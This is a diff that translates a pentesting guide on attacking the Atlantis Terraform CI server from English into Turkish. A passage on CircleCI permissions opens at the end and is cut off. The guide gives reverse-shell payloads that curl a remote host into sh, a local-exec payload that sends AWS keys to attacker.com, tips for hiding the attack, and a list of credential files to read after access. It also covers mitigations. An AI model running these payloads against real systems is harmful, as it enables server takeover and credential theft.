dışı bırakmanıza ve repo'ların plan durumunu kontrol etmenize ve kilidini açmanıza olanak tanır (şeyleri değiştirmeye izin vermez, bu yüzden çok faydalı değildir). -You probably won't find it exposed to the internet, but it looks like by default **no credentials are needed** to access it (and if they are `atlantis`:`atlantis` are the **default** ones). +Muhtemelen internete açılmış olarak bulamayacaksınız, ancak varsayılan olarak **erişim için kimlik bilgisi gerekmediği** görünmektedir (ve eğer gerekirse `atlantis`:`atlantis` **varsayılan** olanlardır). ### Server Configuration -Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three. +`atlantis server` yapılandırması, komut satırı bayrakları, ortam değişkenleri, bir yapılandırma dosyası veya bunların bir karışımı aracılığıyla belirtilebilir. -- You can find [**here the list of flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supported by Atlantis server -- You can find [**here how to transform a config option into an env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables) +- Atlantis sunucusu tarafından desteklenen [**bayrakların listesini buradan bulabilirsiniz**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) +- Bir yapılandırma seçeneğini bir ortam değişkenine dönüştürmenin [**yolunu buradan bulabilirsiniz**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables) -Values are **chosen in this order**: +Değerler **bu sırayla seçilir**: -1. Flags -2. Environment Variables -3. Config File +1. Bayraklar +2. Ortam Değişkenleri +3. Yapılandırma Dosyası > [!WARNING] -> Note that in the configuration you might find interesting values such as **tokens and passwords**. +> Yapılandırmada **tokenlar ve şifreler** gibi ilginç değerler bulabileceğinizi unutmayın. #### Repos Configuration -Some configurations affects **how the repos are managed**. However, it's possible that **each repo require different settings**, so there are ways to specify each repo. This is the priority order: +Bazı yapılandırmalar, **repo'ların nasıl yönetildiğini** etkiler. Ancak, **her repo'nun farklı ayarlar gerektirmesi** mümkündür, bu nedenle her repo'yu belirtmenin yolları vardır. Öncelik sırası şudur: -1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) file. This file can be used to specify how atlantis should treat the repo. However, by default some keys cannot be specified here without some flags allowing it. - 1. Probably required to be allowed by flags like `allowed_overrides` or `allow_custom_workflows` -2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): You can pass it with the flag `--repo-config` and it's a yaml configuring new settings for each repo (regexes supported) -3. **Default** values +1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) dosyası. Bu dosya, atlantis'in repo'yu nasıl ele alması gerektiğini belirtmek için kullanılabilir. Ancak, varsayılan olarak bazı anahtarların burada belirtilmesine izin verilmez. +1. Muhtemelen `allowed_overrides` veya `allow_custom_workflows` gibi bayraklarla izin verilmesi gerekir. +2. [**Sunucu Tarafı Yapılandırması**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): `--repo-config` bayrağı ile geçirebilirsiniz ve bu, her repo için yeni ayarları yapılandıran bir yaml'dır (regex desteklenir). +3. **Varsayılan** değerler. **PR Protections** -Atlantis allows to indicate if you want the **PR** to be **`approved`** by somebody else (even if that isn't set in the branch protection) and/or be **`mergeable`** (branch protections passed) **before running apply**. From a security point of view, to set both options a recommended. +Atlantis, **PR**'nin başka birisi tarafından **`onaylanmasını`** (bu, dal korumasında ayarlanmamış olsa bile) ve/veya **`birleştirilebilir`** (dal korumaları geçildi) olmasını belirtmenize olanak tanır **apply** çalıştırmadan önce. Güvenlik açısından, her iki seçeneği de ayarlamak önerilir. -In case `allowed_overrides` is True, these setting can be **overwritten on each project by the `/atlantis.yml` file**. +`allowed_overrides` True olduğunda, bu ayarlar **her projede `/atlantis.yml` dosyası ile** **üstü kapatılabilir**. **Scripts** -The repo config can **specify scripts** to run [**before**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) and [**after**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) a **workflow is executed.** +Repo yapılandırması, bir **iş akışı yürütülmeden önce** [**çalıştırılacak scriptleri**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) ve [**sonrasında**](https://www.runatlantis.io/docs/post-workflow-hooks.html) belirtmek için kullanılabilir. -There isn't any option to allow **specifying** these scripts in the **repo `/atlantis.yml`** file. +**repo `/atlantis.yml`** dosyasında bu scriptleri **belirlemeye** izin veren herhangi bir seçenek yoktur. **Workflow** -In the repo config (server side config) you can [**specify a new default workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), or [**create new custom workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** You can also **specify** which **repos** can **access** the **new** ones generated.\ -Then, you can allow the **atlantis.yaml** file of each repo to **specify the workflow to use.** +Repo yapılandırmasında (sunucu tarafı yapılandırması), [**yeni bir varsayılan iş akışı belirtebilirsiniz**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow) veya [**yeni özel iş akışları oluşturabilirsiniz**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Ayrıca, **oluşturulan yeni** iş akışlarına **erişebilecek** **repo'ları** da **belirtebilirsiniz**.\ +Ardından, her repo'nun **atlantis.yaml** dosyasının **kullanılacak iş akışını belirtmesine** izin verebilirsiniz. > [!CAUTION] -> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.\ -> This will basically give **RCE in the Atlantis server to any user that can access that repo**. +> Eğer [**sunucu tarafı yapılandırma**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) bayrağı `allow_custom_workflows` **True** olarak ayarlanmışsa, iş akışları her repo'nun **`atlantis.yaml`** dosyasında **belirlenebilir**. Ayrıca, **`allowed_overrides`**'ın **kullanılacak iş akışını** **üstü kapatacak şekilde** belirtmesi de muhtemelen gereklidir.\ +> Bu, **bu repo'ya erişebilen herhangi bir kullanıcıya Atlantis sunucusunda RCE verecektir**. > > ```yaml > # atlantis.yaml @@ -126,19 +126,18 @@ Then, you can allow the **atlantis.yaml** file of each repo to **specify the wor **Conftest Policy Checking** -Atlantis supports running **server-side** [**conftest**](https://www.conftest.dev/) **policies** against the plan output. Common usecases for using this step include: +Atlantis, plan çıktısına karşı **sunucu tarafında** [**conftest**](https://www.conftest.dev/) **politikalarını** çalıştırmayı destekler. Bu adımı kullanmanın yaygın kullanım durumları şunlardır: -- Denying usage of a list of modules -- Asserting attributes of a resource at creation time -- Catching unintentional resource deletions -- Preventing security risks (ie. exposing secure ports to the public) +- Bir modül listesinin kullanımını reddetmek +- Bir kaynağın oluşturulma zamanında niteliklerini doğrulamak +- İstemeden kaynak silmelerini yakalamak +- Güvenlik risklerini önlemek (örneğin, güvenli portları halka açmak) -You can check how to configure it in [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works). +Bunu nasıl yapılandıracağınızı [**belgelerde**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works) kontrol edebilirsiniz. ### Atlantis Commands -[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) you can find the options you can use to run Atlantis: - +[**Belgelerde**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) Atlantis'i çalıştırmak için kullanabileceğiniz seçenekleri bulabilirsiniz: ```bash # Get help atlantis help @@ -161,94 +160,82 @@ atlantis apply [options] -- [terraform apply flags] ## --verbose ## You can also add extra terraform options ``` - -### Attacks +### Saldırılar > [!WARNING] -> If during the exploitation you find this **error**: `Error: Error acquiring the state lock` - -You can fix it by running: +> Eğer istismar sırasında bu **hata** ile karşılaşırsanız: `Error: Error acquiring the state lock` +Bunu çalıştırarak düzeltebilirsiniz: ``` atlantis unlock #You might need to run this in a different PR atlantis plan -- -lock=false ``` +#### Atlantis plan RCE - Yeni PR'de Konfigürasyon Değişikliği -#### Atlantis plan RCE - Config modification in new PR - -If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis plan`** (or maybe it's automatically executed) **you will be able to RCE inside the Atlantis server**. - -You can do this by making [**Atlantis load an external data source**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Just put a payload like the following in the `main.tf` file: +Bir depoya yazma erişiminiz varsa, üzerinde yeni bir dal oluşturabilir ve bir PR oluşturabilirsiniz. Eğer **`atlantis plan`** komutunu **çalıştırabiliyorsanız (ya da belki otomatik olarak çalıştırılıyorsa)**, **Atlantis sunucusunda RCE yapabilirsiniz**. +Bunu, [**Atlantis'in harici bir veri kaynağını yüklemesini sağlayarak**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) yapabilirsiniz. `main.tf` dosyasına aşağıdaki gibi bir yük yerleştirin: ```json data "external" "example" { - program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] +program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] } ``` +**Daha Gizli Saldırı** -**Stealthier Attack** - -You can perform this attack even in a **stealthier way**, by following this suggestions: - -- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell: +Bu saldırıyı **daha gizli bir şekilde** gerçekleştirebilirsiniz, bu önerileri takip ederek: +- Rev shell'i doğrudan terraform dosyasına eklemek yerine, rev shell'i içeren **harici bir kaynağı** **yükleyebilirsiniz**: ```javascript module "not_rev_shell" { - source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" +source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` - You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) -- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` -- **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**. +- Dış kaynakta, **ref** özelliğini kullanarak **repo içindeki bir dalda terraform rev shell kodunu gizleyin**, şöyle bir şey: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- Atlantis'i tetiklemek için **master'a bir PR oluşturmak yerine**, **2 dal oluşturun** (test1 ve test2) ve birinden diğerine bir **PR oluşturun**. Saldırıyı tamamladıktan sonra, sadece **PR'yi ve dalları kaldırın**. #### Atlantis plan Secrets Dump -You can **dump secrets used by terraform** running `atlantis plan` (`terraform plan`) by putting something like this in the terraform file: - +Terraform dosyasına şöyle bir şey koyarak `atlantis plan` (`terraform plan`) ile **terraform tarafından kullanılan gizli anahtarları dökebilirsiniz**: ```json output "dotoken" { - value = nonsensitive(var.do_token) +value = nonsensitive(var.do_token) } ``` +#### Atlantis apply RCE - Yeni PR'de Konfigürasyon Değişikliği -#### Atlantis apply RCE - Config modification in new PR +Eğer bir depoya yazma erişiminiz varsa, yeni bir dal oluşturabilir ve bir PR oluşturabilirsiniz. Eğer **`atlantis apply` komutunu çalıştırabiliyorsanız, Atlantis sunucusunda RCE gerçekleştirebilirsiniz**. -If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis apply` you will be able to RCE inside the Atlantis server**. +Ancak genellikle bazı korumaları aşmanız gerekecektir: -However, you will usually need to bypass some protections: - -- **Mergeable**: If this protection is set in Atlantis, you can only run **`atlantis apply` if the PR is mergeable** (which means that the branch protection need to be bypassed). - - Check potential [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) -- **Approved**: If this protection is set in Atlantis, some **other user must approve the PR** before you can run `atlantis apply` - - By default you can abuse the [**Gitbot token to bypass this protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) - -Running **`terraform apply` on a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ -You just need to make sure some payload like the following ones ends in the `main.tf` file: +- **Birleştirilebilir**: Eğer bu koruma Atlantis'te ayarlanmışsa, yalnızca **PR birleştirilebilir olduğunda `atlantis apply` çalıştırabilirsiniz** (bu, dal korumasının aşılması gerektiği anlamına gelir). +- Potansiyel [**dal koruma aşmaları**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) kontrol edin. +- **Onaylı**: Eğer bu koruma Atlantis'te ayarlanmışsa, `atlantis apply` komutunu çalıştırmadan önce **başka bir kullanıcının PR'yi onaylaması gerekir**. +- Varsayılan olarak, bu korumayı aşmak için [**Gitbot token'ını kötüye kullanabilirsiniz**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md). +Kötü niyetli bir Terraform dosyasında **`terraform apply` çalıştırmak** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ +Sadece `main.tf` dosyasının sonunda aşağıdaki gibi bir yükün bulunduğundan emin olmalısınız: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { - provisioner "local-exec" { - command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" - } +provisioner "local-exec" { +command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" +} } // Payload 2 to get a rev shell resource "null_resource" "rev_shell" { - provisioner "local-exec" { - command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" - } +provisioner "local-exec" { +command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" +} } ``` - -Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way**. +Önceki teknikten **önerileri takip ederek** bu saldırıyı **gizli bir şekilde** gerçekleştirin. #### Terraform Param Injection -When running `atlantis plan` or `atlantis apply` terraform is being run under-needs, you can pass commands to terraform from atlantis commenting something like: - +`atlantis plan` veya `atlantis apply` çalıştırıldığında, terraform altında çalıştırılmaktadır, atlantis'ten terraform'a komutlar geçirebilirsiniz, şöyle bir şey yorumlayarak: ```bash atlantis plan -- atlantis plan -- -h #Get terraform plan help @@ -256,18 +243,17 @@ atlantis plan -- -h #Get terraform plan help atlantis apply -- atlantis apply -- -h #Get terraform apply help ``` +Bir şey geçirebileceğiniz env değişkenleri, bazı korumaları aşmak için faydalı olabilir. Terraform env değişkenlerini [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) adresinde kontrol edin. -Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) +#### Özel İş Akışı -#### Custom Workflow - -Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\ -This possibility was mentioned in a previous section: +`atlantis.yaml` dosyasında belirtilen **kötü niyetli özel derleme komutlarını** çalıştırmak. Atlantis, pull request dalından **`atlantis.yaml`** dosyasını kullanır, **master**'dan değil.\ +Bu olasılık daha önceki bir bölümde belirtilmiştir: > [!CAUTION] -> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used. +> Eğer [**sunucu tarafı yapılandırma**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) bayrağı `allow_custom_workflows` **True** olarak ayarlandıysa, iş akışları her repo için **`atlantis.yaml`** dosyasında **belirtilmiş** olabilir. Ayrıca, kullanılacak iş akışını **geçersiz kılmak için** **`allowed_overrides`**'ın **`workflow`**'u da belirtmesi gerekebilir. > -> This will basically give **RCE in the Atlantis server to any user that can access that repo**. +> Bu, **o repoya erişebilen herhangi bir kullanıcıya Atlantis sunucusunda RCE verecektir**. > > ```yaml > # atlantis.yaml @@ -286,99 +272,97 @@ This possibility was mentioned in a previous section: > - run: my custom apply command > ``` -#### Bypass plan/apply protections - -If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _has_ `apply_requirements` configured, it's possible for a repo to **modify the plan/apply protections to bypass them**. +#### Plan/uygulama korumalarını aşma +Eğer [**sunucu tarafı yapılandırma**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) bayrağı `allowed_overrides` _`apply_requirements`_ yapılandırılmışsa, bir repanın **plan/uygulama korumalarını değiştirmesi ve bunları aşması** mümkündür. ```yaml repos: - - id: /.*/ - apply_requirements: [] +- id: /.*/ +apply_requirements: [] ``` - #### PR Hijacking -If someone sends **`atlantis plan/apply` comments on your valid pull requests,** it will cause terraform to run when you don't want it to. +Eğer birisi **`atlantis plan/apply` yorumları gönderirse geçerli pull request'lerinize,** bu terraform'un istemediğiniz bir zamanda çalışmasına neden olacaktır. -Moreover, if you don't have configured in the **branch protection** to ask to **reevaluate** every PR when a **new commit is pushed** to it, someone could **write malicious configs** (check previous scenarios) in the terraform config, run `atlantis plan/apply` and gain RCE. +Ayrıca, eğer **branch protection** ayarlarında **yeni bir commit gönderildiğinde** her PR'nin **yeniden değerlendirilmesini** istemiyorsanız, birisi terraform konfigürasyonuna **kötü niyetli konfigürasyonlar** yazabilir (önceki senaryolara bakın), `atlantis plan/apply` çalıştırabilir ve RCE elde edebilir. -This is the **setting** in Github branch protections: +Bu, Github branch koruma ayarındaki **ayar**dır: ![](<../images/image (216).png>) #### Webhook Secret -If you manage to **steal the webhook secret** used or if there **isn't any webhook secret** being used, you could **call the Atlantis webhook** and **invoke atlatis commands** directly. +Eğer kullanılan **webhook secret'ı çalmayı** başarırsanız veya **hiçbir webhook secret** kullanılmıyorsa, **Atlantis webhook'unu çağırabilir** ve **atlantis komutlarını** doğrudan çalıştırabilirsiniz. #### Bitbucket -Bitbucket Cloud does **not support webhook secrets**. This could allow attackers to **spoof requests from Bitbucket**. Ensure you are allowing only Bitbucket IPs. +Bitbucket Cloud **webhook secret'larını desteklememektedir**. Bu, saldırganların **Bitbucket'tan gelen istekleri taklit etmesine** olanak tanıyabilir. Sadece Bitbucket IP'lerine izin verdiğinizden emin olun. -- This means that an **attacker** could make **fake requests to Atlantis** that look like they're coming from Bitbucket. -- If you are specifying `--repo-allowlist` then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos. -- To prevent this, allowlist [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (see Outbound IPv4 addresses). +- Bu, bir **saldırganın** **Atlantis'e** Bitbucket'tan geliyormuş gibi görünen **sahte istekler yapabileceği** anlamına gelir. +- Eğer `--repo-allowlist` belirtiyorsanız, yalnızca o reposuna ait sahte istekler yapabilirler, bu nedenle verebilecekleri en büyük zarar kendi reposunuzda plan/apply yapmak olacaktır. +- Bunu önlemek için [Bitbucket'ın IP adreslerini](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) beyaz listeye alın (Çıkış IPv4 adreslerine bakın). ### Post-Exploitation -If you managed to get access to the server or at least you got a LFI there are some interesting things you should try to read: +Eğer sunucuya erişim sağladıysanız veya en azından bir LFI elde ettiyseniz, okumanız gereken bazı ilginç şeyler var: -- `/home/atlantis/.git-credentials` Contains vcs access credentials -- `/atlantis-data/atlantis.db` Contains vcs access credentials with more info -- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Terraform stated file - - Example: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate -- `/proc/1/environ` Env variables -- `/proc/[2-20]/cmdline` Cmd line of `atlantis server` (may contain sensitive data) +- `/home/atlantis/.git-credentials` VCS erişim kimlik bilgilerini içerir +- `/atlantis-data/atlantis.db` Daha fazla bilgi ile birlikte VCS erişim kimlik bilgilerini içerir +- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Terraform durum dosyası +- Örnek: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate +- `/proc/1/environ` Çevre değişkenleri +- `/proc/[2-20]/cmdline` `atlantis server` komut satırı (hassas veriler içerebilir) ### Mitigations #### Don't Use On Public Repos -Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings. +Herkesin kamuya açık pull request'lere yorum yapabileceği için, mevcut tüm güvenlik önlemlerine rağmen, Atlantis'i kamuya açık reposlarda uygun güvenlik ayarları olmadan çalıştırmak hala tehlikelidir. #### Don't Use `--allow-fork-prs` -If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo. +Eğer kamuya açık bir repoda çalışıyorsanız (bu önerilmez, yukarıya bakın) `--allow-fork-prs` ayarını yapmamalısınız (varsayılan olarak false) çünkü herkes kendi fork'undan sizin repoya bir pull request açabilir. #### `--repo-allowlist` -Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example: +Atlantis, `--repo-allowlist` bayrağı aracılığıyla kabul edeceği reposların bir beyaz listesini belirtmenizi gerektirir. Örneğin: -- Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests` -- Your whole organization: `--repo-allowlist=github.com/runatlantis/*` -- Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*` -- All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret. +- Belirli reposlar: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests` +- Tüm organizasyonunuz: `--repo-allowlist=github.com/runatlantis/*` +- GitHub Enterprise kurulumunuzdaki her repo: `--repo-allowlist=github.yourcompany.com/*` +- Tüm reposlar: `--repo-allowlist=*`. Korunan bir ağda olduğunuzda faydalıdır ama bir webhook secret ayarlamadan tehlikelidir. -This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details. +Bu bayrak, Atlantis kurulumunuzun kontrol etmediğiniz reposlarla kullanılmadığından emin olur. Daha fazla bilgi için `atlantis server --help` komutuna bakın. #### Protect Terraform Planning -If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that `terraform apply` approvals are not enough. It is possible to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) or by specifying a malicious provider. This code could then exfiltrate your credentials. +Eğer saldırganların kötü niyetli Terraform kodu ile pull request'ler göndermesi tehdit modelinizdeyse, `terraform apply` onaylarının yeterli olmadığını bilmelisiniz. [`external` veri kaynağını](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) kullanarak veya kötü niyetli bir sağlayıcı belirterek `terraform plan` içinde kötü niyetli kod çalıştırmak mümkündür. Bu kod, kimlik bilgilerinizi dışarı sızdırabilir. -To prevent this, you could: +Bunu önlemek için şunları yapabilirsiniz: -1. Bake providers into the Atlantis image or host and deny egress in production. -2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry. -3. Modify your [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here. +1. Sağlayıcıları Atlantis imajına veya sunucusuna gömün ve üretimde çıkışı reddedin. +2. Sağlayıcı kayıt protokolünü dahili olarak uygulayın ve kamuya açık çıkışı reddedin, böylece kayıt üzerinde yazma erişimine kimin sahip olduğunu kontrol edersiniz. +3. [Sunucu tarafı repo yapılandırmanızı](https://www.runatlantis.io/docs/server-side-repo-config.html)'nın `plan` adımını, yasaklı sağlayıcılar veya veri kaynakları veya izin verilmeyen kullanıcılardan gelen PR'ler ile karşılaştıracak şekilde değiştirin. Bu noktada ek doğrulama da ekleyebilirsiniz, örneğin `plan`'ın devam etmesine izin vermeden önce PR'de "beğeni" gerektirmek gibi. Conftest burada faydalı olabilir. #### Webhook Secrets -Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab). +Atlantis, `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` ortam değişkenleri aracılığıyla ayarlanmış Webhook secret'ları ile çalıştırılmalıdır. `--repo-allowlist` bayrağı ayarlı olsa bile, bir webhook secret olmadan, saldırganlar izin verilen bir repo gibi davranarak Atlantis'e istek yapabilirler. Webhook secret'ları, webhook isteklerinin gerçekten VCS sağlayıcınızdan (GitHub veya GitLab) geldiğini garanti eder. -If you are using Azure DevOps, instead of webhook secrets add a basic username and password. +Eğer Azure DevOps kullanıyorsanız, webhook secret'ları yerine temel bir kullanıcı adı ve şifre ekleyin. #### Azure DevOps Basic Authentication -Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location. +Azure DevOps, tüm webhook olaylarında temel kimlik doğrulama başlığı göndermeyi destekler. Bu, webhook konumunuz için HTTPS URL'si kullanmayı gerektirir. #### SSL/HTTPS -If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags. +Eğer webhook secret'ları kullanıyorsanız ama trafiğiniz HTTP üzerinden ise, webhook secret'ları çalınabilir. `--ssl-cert-file` ve `--ssl-key-file` bayraklarını kullanarak SSL/HTTPS'yi etkinleştirin. #### Enable Authentication on Atlantis Web Server -It is very recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and setup a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags. +Web hizmetinde kimlik doğrulamanın etkinleştirilmesi şiddetle önerilir. `--web-basic-auth=true` kullanarak BasicAuth'u etkinleştirin ve `--web-username=yourUsername` ve `--web-password=yourPassword` bayraklarını kullanarak bir kullanıcı adı ve şifre ayarlayın. -You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`. +Ayrıca bunları ortam değişkenleri olarak da geçebilirsiniz `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` ve `ATLANTIS_WEB_PASSWORD=yourPassword`. ### References @@ -386,7 +370,3 @@ You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` - [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html) {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md index 8b8a1fea1..9e41b040d 100644 --- a/src/pentesting-ci-cd/circleci-security.md +++ b/src/pentesting-ci-cd/circleci-security.md @@ -1,259 +1,235 @@ -# CircleCI Security +# CircleCI Güvenliği {{#include ../banners/hacktricks-training.md}} -### Basic Information +### Temel Bilgiler -[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is a Continuos Integration platform where you can **define templates** indicating what you want it to do with some code and when to do it. This way you can **automate testing** or **deployments** directly **from your repo master branch** for example. +[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) sürekli entegrasyon platformudur; burada ne yapmak istediğinizi ve ne zaman yapmak istediğinizi belirten **şablonlar** tanımlayabilirsiniz. Bu şekilde, örneğin, **testleri** veya **dağıtımları** doğrudan **repo ana dalınızdan** **otomatikleştirebilirsiniz**. -### Permissions +### İzinler -**CircleCI** **inherits the permissions** from github and bitbucket related to the **account** that logs in.\ -In my testing I checked that as long as you have **write permissions over the repo in github**, you are going to be able to **manage its project settings in CircleCI** (set new ssh keys, get project api keys, create new branches with new CircleCI configs...). +**CircleCI**, giriş yapan **hesap** ile ilgili github ve bitbucket'tan **izinleri devralır**.\ +Testlerimde, eğer **github'daki repo üzerinde yazma izinleriniz varsa**, **CircleCI'de proje ayarlarını yönetebileceğinizi** kontrol ettim (yeni ssh anahtarları ayarlamak, proje api anahtarlarını almak, yeni CircleCI yapılandırmaları ile yeni dallar oluşturmak...). -However, you need to be a a **repo admin** in order to **convert the repo into a CircleCI project**. +Ancak, **repo'yu CircleCI projesine dönüştürmek** için bir **repo yöneticisi** olmanız gerekir. -### Env Variables & Secrets +### Env Değişkenleri & Gizli Anahtarlar -According to [**the docs**](https://circleci.com/docs/2.0/env-vars/) there are different ways to **load values in environment variables** inside a workflow. +[**belgelere**](https://circleci.com/docs/2.0/env-vars/) göre, bir iş akışı içinde **çevresel değişkenlere değer yüklemenin** farklı yolları vardır. -#### Built-in env variables +#### Yerleşik env değişkenleri -Every container run by CircleCI will always have [**specific env vars defined in the documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) like `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` or `CIRCLE_USERNAME`. +CircleCI tarafından çalıştırılan her konteyner, [**belgelere tanımlanan belirli env değişkenlerine**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) sahip olacaktır; örneğin 